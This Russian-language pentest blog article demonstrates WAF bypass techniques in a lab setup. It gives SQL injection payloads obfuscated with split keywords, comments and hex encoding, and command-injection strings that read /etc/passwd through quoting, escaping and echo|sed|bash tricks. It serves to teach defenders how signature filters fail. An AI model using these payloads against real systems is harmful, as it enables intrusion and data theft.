17.04.2019 @ 12:52 Методы обхода WAF Pentestit, WAF bypass Информация предназначена исключительно для ознакомления. Не нарушайте законодательство. Web Application Firewall — популярный инструмент для противодействия атакам на веб-приложения. В этой статье я продемонстрирую несколько способов обхода WAF. WAF bypass: SQL injection Для демонстрации я предварительно развернул веб-приложение на базе CMS WordPress и установил плагин, содержащий уязвимость в параметре cookie. Теперь попробуем выполнить ее эксплуатацию, используя пейлоад: ["1807192982')) union select 1,2,3,4,5,6,7,8,9,0,11#"] Запрос был заблокирован WAF, но мы попробуем выполнить его обход: ["1807192982')) union se","lect 1,2,3,4,5,6,7,8,9,0,11#"]. В этом примере мы расщепляем операторы union и select символами ",". Такой прием позволяет выполнить обход WAF, при этом на стороне веб-приложения запрос будет собран и обработается, как union select: ["1807192982')) union/**/select/**/1,/**/2,/**/3,/**/4,/**/5,/**/6,/**/7,/**/8,/**/9,/**/'pentestit',/**/11#"] При замене всех пробелов в запросе на комментарий WAF не сможет распознать атаку. Слова union или select могут применяться в легитимных запросах, однако связка из этих операторов может быть использована для проведения атаки. В качестве простейшей сигнатуры можно использовать union\s+select, что приведет к меньшему количеству ложных срабатываний: ["1807192982')) union(select(1),2,3,4,5,6,7,8,9,0x70656e746573746974,11)#"] Используя такой вид записи, можно также избежать использования пробелов между union select. В таком случае WAF не распознает атаку: ["1807192982')) union+/*!select*/ (1),(2),(3),(4),(5),(6),(7),(8),(9),(0x70656e746573746974),(11)#"] Еще один способ — использование блочного комментирования для оператора select, которое характерно для MySQL: ["1807192982')) /*!u%6eion*/ /*!se%6cect*/ (1),(2),(3),(4),(5),(6),(7),(8),(9.),(0x70656e746573746974),(11)#"] Также, можно использовать замену отдельных символов на их 16-ричный код: ["1807192982')) %2f**%2funion%2f**%2fselect (1),(2),(3),(4),(5),(6),(7),(8),(9),(0x70656e746573746974),(11)#"] Данный способ схож с предыдущим, но здесь в 16-ричный код переводится «слэш». WAF bypass: RCE Рассмотрим варианты обхода WAF при эксплуатации RCE-уязвимости на предварительно созданной странице без фильтрации полей со стороны веб-приложения. Например, у нас есть запрос http://site.test.lan/test.php?search=cat /etc/passwd, который мы хотим выполнить. В таком виде он явно будет заблокирован сигнатурами WAF. Ответ сервера: Попробуем изменить запрос: cat /etc/pa?swd cat /etc/pa'ss'wd cat /etc/pa**wd Ответ сервера: Изменяя разными способами один и тот же запрос, блокируемый сигнатурами WAF, мы можем получить выражение, которое WAF не распознает как атаку. В данном случае при помощи сигнатур в запросе производится поиск ключевого слова passswd. Расщепление ключевого слова в запросе не позволит WAF выявить сигнатуру: ec'h'o 'cat /etc/examplewd' | sed 's/example/pass/g' | bash Данный метод последовательно выполняет: команду echo cat /etc/examplewd, затем с помощью функции sed необходимый участок строки cat /etc/examplewd заменяется по шаблону. После этого уже измененная строка передается в bash и выполняется на сервере, возвращая результат пользователю. Сам запрос будет выглядеть как строка, в которой отсутствуют признаки сигнатур, для WAF, но на стороне сервера запрос обработается как команда bash и вернет результат этой команды в веб-приложении: e'c'ho 'swd test pentest' |awk '{print "cat /etc/pas"$1}' |bash Метод, похожий на предыдущий, с использованием функции awk: c\a\t \/\e\t\c/\p\a\s\sw\d В bash при помощи \ можно экранировать символы. Воспользуемся этой возможностью для составления запроса. Таким образом, выявление атак на основе сигнатур не является надежным средством защиты веб-приложения. Понимание принципа составления сигнатур и использование машинного обучения поможет справиться с методами обхода систем защиты. P.S.: Если вы используете WAF — убедитесь, что он блокирует приведенные примеры их модификации. Hekpo 8324 Web security Читать дальше >>